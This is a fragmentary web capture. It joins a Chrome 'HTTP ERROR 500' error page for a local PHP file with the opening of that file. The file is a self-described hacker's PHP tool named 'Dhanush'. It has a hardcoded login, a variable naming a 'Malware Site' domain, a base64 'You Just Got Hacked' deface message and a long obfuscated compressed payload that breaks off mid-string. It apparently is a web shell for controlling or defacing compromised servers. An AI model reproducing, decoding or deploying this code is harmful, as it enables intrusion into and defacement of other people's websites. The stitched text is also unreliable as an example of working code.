qDp2KqrFW4SkAAAAQTDGsW1FDLS2s2mDV0pqlqGFpwHx4ItGstXYAcBuAjRBlPcq8QIHNz7JVAfhcq8DXAXxgvXaeAABHCd5l/PesX0oBA+gy/nvWL6WAARAQRnZgZiZJZmYxZhZjZiYAAADmQ5Sr5AkQFLCayi+VX9I1TAbmByNNiSeS1bA91yGSJZjBmlkFH4VSKSYhNYCisFYPEGXRAFCBQADnc+KhhWWqTPuss82khR7DMuB4+7K9TqgDs4C14pkwBWgDCQfogQBPZ2dTAARAYwAAAAAAAD9qPwoDAAAAhGPUKwlydHJzdnN2RwHeZfz3rF9KAAPoMv571i8lgAEABATMTDIzMwEzMzMzAQkAAIMN74C9AzhKGRBS7Ug48EBTICUcuNgBDPAQiACGUKRJ0aUPnmgPffzWKD/b8ixcFTu3baoOQw/5xt9s7o1o/Xb70VkwgpdI2mIECmilAgDeZfz3rF9KAQPoMv571i+lgAEABATMzMzMzMxMTMzMBCQAADByCtBgSUq3it78CCrhA0UFoIeSDA4p6pIYfSZUYUgAHHvDlB6k3y4BWd77fiwQQP0skkizy/dvD85t6GfLbicQh4LNkIrLFqYv6oCCQoE1BN5l/PesX0oBA+gy/nvWL6WAAQBgZiZgZmZmB2ZmZiYAAADG4BqADH8QJkrth0yGt+Zk2RIlJUAdYwaWjgCgYRAgDA2ESqRKyhJQUhgb8wFKwJCYdqTegu9VnZeJzEj2/salg1Ap6VMwQQHJAINzuwi0AN5l/PesX0oBE+gy/nvWL6WACQBgZgYzMzMzMzMzEwAAEOIFSKQdgGXkaSMZvFpYdPwHjJZg9kCCFKQsLAHkRAYloQBOIJikemyCSj/1yts5b8fX1uk6U8pAP7c1O11NgAY4PD+SuR1ElMkJhsPmGQE7oADeZfzvrF9KARPoMv531i+lgAkABMzMTDKTzMzEzMzMDAAACKc3Pw5SOFxzEnD2mgWgrjk2UBg6dilASmgANweByBmJwwkYTBIPWAttTNqhv3Uy8j7xBXoR4IHyz/Jf1xJZs+kGbrs4KTWNC0iJFCzZDtSuEgAJ3mX896xfSgET6DL+e9YvpYAJACCZmZmZmZlZjJmZSQAAgCNVkW6pBGQRjNBQ59BTYBIkoCkkJqBTQoOXA5L8hUrOljeJgTEN5EBTxuO0bfHde2jix+2aejY+YkOx0uQF/Kz6RBo9AQT8YAQsp/BjAb4iAN5l/PesX0oBG+gy/nvWL6WADQAEBMzMzMzMzGLMzMwMAMDB2RACzHB4MV8gA+Ug3owUUGVKYsA3KOhgwH4gHqBIUPlJGAiB1z9VZYB5rNlcXmDhIP5Ku1+qt60Kb2baYbE7u7IWTSczWp/EG1geirEAIBKkMgDeZfz3LF+aAG6gy/jvWb40AdwAAAYBAQEAApAEzMzMBAAAABQoAJcMgFHAACfgZB28r9ZKUKDQ1ze5X+SCM8AAoOANKk0IAw4="></audio>
</template>
</div>
<script jstcache="0">(function(){function l(a,b,c){return Function.prototype.call.apply(Array.prototype.slice,arguments)}function m(a,b,c){var e=l(arguments,2);return function(){return b.apply(a,e)}}function n(a,b){var c=new p(b);for(c.h=[a];c.h.length;){var e=c,d=c.h.shift();e.i(d);for(d=d.firstChild;d;d=d.nextSibling)1==d.nodeType&&e.h.push(d)}}function p(a){this.i=a}function q(a){a.style.display=""}function r(a){a.style.display="none"};var t=/\s*;\s*/;function u(a,b){this.l.apply(this,arguments)}u.prototype.l=function(a,b){this.a||(this.a={});if(b){var c=this.a,e=b.a;for(d in e)c[d]=e[d]}else{var d=this.a;e=v;for(c in e)d[c]=e[c]}this.a.$this=a;this.a.$context=this;this.f="undefined"!=typeof a&&null!=a?a:"";b||(this.a.$top=this.f)};var v={$default:null},w=[];function x(a){for(var b in a.a)delete a.a[b];a.f=null;w.push(a)}function y(a,b,c){try{return b.call(c,a.a,a.f)}catch(e){return v.$default}}
u.prototype.clone=function(a,b,c){if(0<w.length){var e=w.pop();u.call(e,a,this);a=e}else a=new u(a,this);a.a.$index=b;a.a.$count=c;return a};var z;window.trustedTypes&&(z=trustedTypes.createPolicy("jstemplate",{createScript:function(a){return a}}));var A={};function B(a){if(!A[a])try{var b="(function(a_, b_) { with (a_) with (b_) return "+a+" })",c=window.trustedTypes?z.createScript(b):b;A[a]=window.eval(c)}catch(e){}return A[a]}
function E(a){var b=[];a=a.split(t);for(var c=0,e=a.length;c<e;++c){var d=a[c].indexOf(":");if(!(0>d)){var g=a[c].substr(0,d).replace(/^\s+/,"").replace(/\s+$/,"");d=B(a[c].substr(d+1));b.push(g,d)}}return b};function F(){}var G=0,H={0:{}},I={},J={},K=[];function L(a){a.__jstcache||n(a,function(b){M(b)})}var N=[["jsselect",B],["jsdisplay",B],["jsvalues",E],["jsvars",E],["jseval",function(a){var b=[];a=a.split(t);for(var c=0,e=a.length;c<e;++c)if(a[c]){var d=B(a[c]);b.push(d)}return b}],["transclude",function(a){return a}],["jscontent",B],["jsskip",B]];
function M(a){if(a.__jstcache)return a.__jstcache;var b=a.getAttribute("jstcache");if(null!=b)return a.__jstcache=H[b];b=K.length=0;for(var c=N.length;b<c;++b){var e=N[b][0],d=a.getAttribute(e);J[e]=d;null!=d&&K.push(e+"="+d)}if(0==K.length)return a.setAttribute("jstcache","0"),a.__jstcache=H[0];var g=K.join("&");if(b=I[g])return a.setAttribute("jstcache",b),a.__jstcache=H[b];var h={};b=0;for(c=N.length;b<c;++b){d=N[b];e=d[0];var f=d[1];d=J[e];null!=d&&(h[e]=f(d))}b=""+ ++G;a.setAttribute("jstcache",
b);H[b]=h;I[g]=b;return a.__jstcache=h}function P(a,b){a.j.push(b);a.o.push(0)}function Q(a){return a.c.length?a.c.pop():[]}
F.prototype.g=function(a,b){var c=R(b),e=c.transclude;if(e)(c=S(e))?(b.parentNode.replaceChild(c,b),e=Q(this),e.push(this.g,a,c),P(this,e)):b.parentNode.removeChild(b);else if(c=c.jsselect){c=y(a,c,b);var d=b.getAttribute("jsinstance");var g=!1;d&&("*"==d.charAt(0)?(d=parseInt(d.substr(1),10),g=!0):d=parseInt(d,10));var h=null!=c&&"object"==typeof c&&"number"==typeof c.length;e=h?c.length:1;var f=h&&0==e;if(h)if(f)d?b.parentNode.removeChild(b):(b.setAttribute("jsinstance","*0"),r(b));else if(q(b),
null===d||""===d||g&&d<e-1){g=Q(this);d=d||0;for(h=e-1;d<h;++d){var k=b.cloneNode(!0);b.parentNode.insertBefore(k,b);T(k,c,d);f=a.clone(c[d],d,e);g.push(this.b,f,k,x,f,null)}T(b,c,d);f=a.clone(c[d],d,e);g.push(this.b,f,b,x,f,null);P(this,g)}else d<e?(g=c[d],T(b,c,d),f=a.clone(g,d,e),g=Q(this),g.push(this.b,f,b,x,f,null),P(this,g)):b.parentNode.removeChild(b);else null==c?r(b):(q(b),f=a.clone(c,0,1),g=Q(this),g.push(this.b,f,b,x,f,null),P(this,g))}else this.b(a,b)};
F.prototype.b=function(a,b){var c=R(b),e=c.jsdisplay;if(e){if(!y(a,e,b)){r(b);return}q(b)}if(e=c.jsvars)for(var d=0,g=e.length;d<g;d+=2){var h=e[d],f=y(a,e[d+1],b);a.a[h]=f}if(e=c.jsvalues)for(d=0,g=e.length;d<g;d+=2)if(f=e[d],h=y(a,e[d+1],b),"$"==f.charAt(0))a.a[f]=h;else if("."==f.charAt(0)){f=f.substr(1).split(".");for(var k=b,O=f.length,C=0,U=O-1;C<U;++C){var D=f[C];k[D]||(k[D]={});k=k[D]}k[f[O-1]]=h}else f&&("boolean"==typeof h?h?b.setAttribute(f,f):b.removeAttribute(f):b.setAttribute(f,""+h));
if(e=c.jseval)for(d=0,g=e.length;d<g;++d)y(a,e[d],b);e=c.jsskip;if(!e||!y(a,e,b))if(c=c.jscontent){if(c=""+y(a,c,b),b.innerHTML!=c){for(;b.firstChild;)e=b.firstChild,e.parentNode.removeChild(e);b.appendChild(this.m.createTextNode(c))}}else{c=Q(this);for(e=b.firstChild;e;e=e.nextSibling)1==e.nodeType&&c.push(this.g,a,e);c.length&&P(this,c)}};function R(a){if(a.__jstcache)return a.__jstcache;var b=a.getAttribute("jstcache");return b?a.__jstcache=H[b]:M(a)}
function S(a,b){var c=document;if(b){var e=c.getElementById(a);if(!e){e=b();var d=c.getElementById("jsts");d||(d=c.createElement("div"),d.id="jsts",r(d),d.style.position="absolute",c.body.appendChild(d));var g=c.createElement("div");d.appendChild(g);g.innerHTML=e;e=c.getElementById(a)}c=e}else c=c.getElementById(a);return c?(L(c),c=c.cloneNode(!0),c.removeAttribute("id"),c):null}function T(a,b,c){c==b.length-1?a.setAttribute("jsinstance","*"+c):a.setAttribute("jsinstance",""+c)};window.jstGetTemplate=S;window.JsEvalContext=u;window.jstProcess=function(a,b){var c=new F;L(b);c.m=b?9==b.nodeType?b:b.ownerDocument||document:document;var e=m(c,c.g,a,b),d=c.j=[],g=c.o=[];c.c=[];e();for(var h,f,k;d.length;)h=d[d.length-1],e=g[g.length-1],e>=h.length?(e=c,f=d.pop(),f.length=0,e.c.push(f),g.pop()):(f=h[e++],k=h[e++],h=h[e++],g[g.length-1]=e,f.call(c,k,h))};
})()</script><script jstcache="0">// Copyright 2012 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
/**
* @fileoverview
* NOTE: This file is deprecated, and provides only the minimal LoadTimeData
* functions for places in the code still not using JS modules. Use
* load_time_data.m.js in all new code.
*
* This file defines a singleton which provides access to all data
* that is available as soon as the page's resources are loaded (before DOM
* content has finished loading). This data includes both localized strings and
* any data that is important to have ready from a very early stage (e.g. things
* that must be displayed right away).
*
* Note that loadTimeData is not guaranteed to be consistent between page
* refreshes (https://crbug.com/740629) and should not contain values that might
* change if the page is re-opened later.
*/
/** @type {!LoadTimeData} */
// eslint-disable-next-line no-var
var loadTimeData;
class LoadTimeData {
constructor() {
/** @type {?Object} */
this.data_ = null;
}
/**
* Sets the backing object.
*
* Note that there is no getter for |data_| to discourage abuse of the form:
*
* var value = loadTimeData.data()['key'];
*
* @param {Object} value The de-serialized page data.
*/
set data(value) {
expect(!this.data_, 'Re-setting data.');
this.data_ = value;
}
/**
* @param {string} id An ID of a value that might exist.
* @return {boolean} True if |id| is a key in the dictionary.
*/
valueExists(id) {
return id in this.data_;
}
/**
* Fetches a value, expecting that it exists.
* @param {string} id The key that identifies the desired value.
* @return {*} The corresponding value.
*/
getValue(id) {
expect(this.data_, 'No data. Did you remember to include strings.js?');
const value = this.data_[id];
expect(typeof value !== 'undefined', 'Could not find value for ' + id);
return value;
}
/**
* As above, but also makes sure that the value is a string.
* @param {string} id The key that identifies the desired string.
* @return {string} The corresponding string value.
*/
getString(id) {
const value = this.getValue(id);
expectIsType(id, value, 'string');
return /** @type {string} */ (value);
}
/**
* Returns a formatted localized string where $1 to $9 are replaced by the
* second to the tenth argument.
* @param {string} id The ID of the string we want.
* @param {...(string|number)} var_args The extra values to include in the
* formatted output.
* @return {string} The formatted string.
*/
getStringF(id, var_args) {
const value = this.getString(id);
if (!value) {
return '';
}
const args = Array.prototype.slice.call(arguments);
args[0] = value;
return this.substituteString.apply(this, args);
}
/**
* Returns a formatted localized string where $1 to $9 are replaced by the
* second to the tenth argument. Any standalone $ signs must be escaped as
* $$.
* @param {string} label The label to substitute through.
* This is not an resource ID.
* @param {...(string|number)} var_args The extra values to include in the
* formatted output.
* @return {string} The formatted string.
*/
substituteString(label, var_args) {
const varArgs = arguments;
return label.replace(/\$(.|$|\n)/g, function(m) {
expect(m.match(/\$[$1-9]/), 'Unescaped $ found in localized string.');
return m === '$$' ? '$' : varArgs[m[1]];
});
}
/**
* As above, but also makes sure that the value is a boolean.
* @param {string} id The key that identifies the desired boolean.
* @return {boolean} The corresponding boolean value.
*/
getBoolean(id) {
const value = this.getValue(id);
expectIsType(id, value, 'boolean');
return /** @type {boolean} */ (value);
}
/**
* As above, but also makes sure that the value is an integer.
* @param {string} id The key that identifies the desired number.
* @return {number} The corresponding number value.
*/
getInteger(id) {
const value = this.getValue(id);
expectIsType(id, value, 'number');
expect(value === Math.floor(value), 'Number isn\'t integer: ' + value);
return /** @type {number} */ (value);
}
/**
* Override values in loadTimeData with the values found in |replacements|.
* @param {Object} replacements The dictionary object of keys to replace.
*/
overrideValues(replacements) {
expect(
typeof replacements === 'object',
'Replacements must be a dictionary object.');
for (const key in replacements) {
this.data_[key] = replacements[key];
}
}
}
/**
* Checks condition, throws error message if expectation fails.
* @param {*} condition The condition to check for truthiness.
* @param {string} message The message to display if the check fails.
*/
function expect(condition, message) {
if (!condition) {
throw new Error(
'Unexpected condition on ' + document.location.href + ': ' + message);
}
}
/**
* Checks that the given value has the given type.
* @param {string} id The id of the value (only used for error message).
* @param {*} value The value to check the type on.
* @param {string} type The type we expect |value| to be.
*/
function expectIsType(id, value, type) {
expect(
typeof value === type, '[' + value + '] (' + id + ') is not a ' + type);
}
expect(!loadTimeData, 'should only include this file once');
loadTimeData = new LoadTimeData();
// Expose |loadTimeData| directly on |window|, since within a JS module the
// scope is local and not all files have been updated to import the exported
// |loadTimeData| explicitly.
window.loadTimeData = loadTimeData;
console.warn('crbug/1173575, non-JS module files deprecated.');
</script><script jstcache="0">const pageData = {"details":"Details","errorCode":"HTTP ERROR 500","fontfamily":"\"sans\", Arial, sans-serif","fontsize":"75%","heading":{"hostName":"localhost","msg":"This page isn’t working"},"hideDetails":"Hide details","iconClass":"icon-generic","language":"en","reloadButton":{"msg":"Reload","reloadUrl":"http://localhost/dhanush%20(2).php"},"suggestionsDetails":[],"suggestionsSummaryList":[],"summary":{"failedUrl":"http://localhost/dhanush%20(2).php","hostName":"localhost","msg":"\u003Cstrong jscontent=\"hostName\">\u003C/strong> is currently unable to handle this request."},"textdirection":"ltr","title":"localhost"};loadTimeData.data = pageData;var tp = document.getElementById('t');jstProcess(new JsEvalContext(pageData), tp);</script></body></html>
<?php
//========================================//
//========+++Dhanush+++==========//
//========================================//
//====+++Coded By Arjun+++===//
//========================================//
//=====+++An Indian Hacker+++=====//
//========================================//
//====Ashvin-2069/Oct-2012====//
// Set Username & Password
$user = "Dhanush";
$pass = "Dhanush";
$malsite = "http://fightagent.ru"; // Malware Site
$ind = "WW91IGp1c3QgZ290IGhhY2tlZCAhISEhIQ=="; // "Deface Page" Base64 encoded "You Just Got Hacked !!"
$bhrt = "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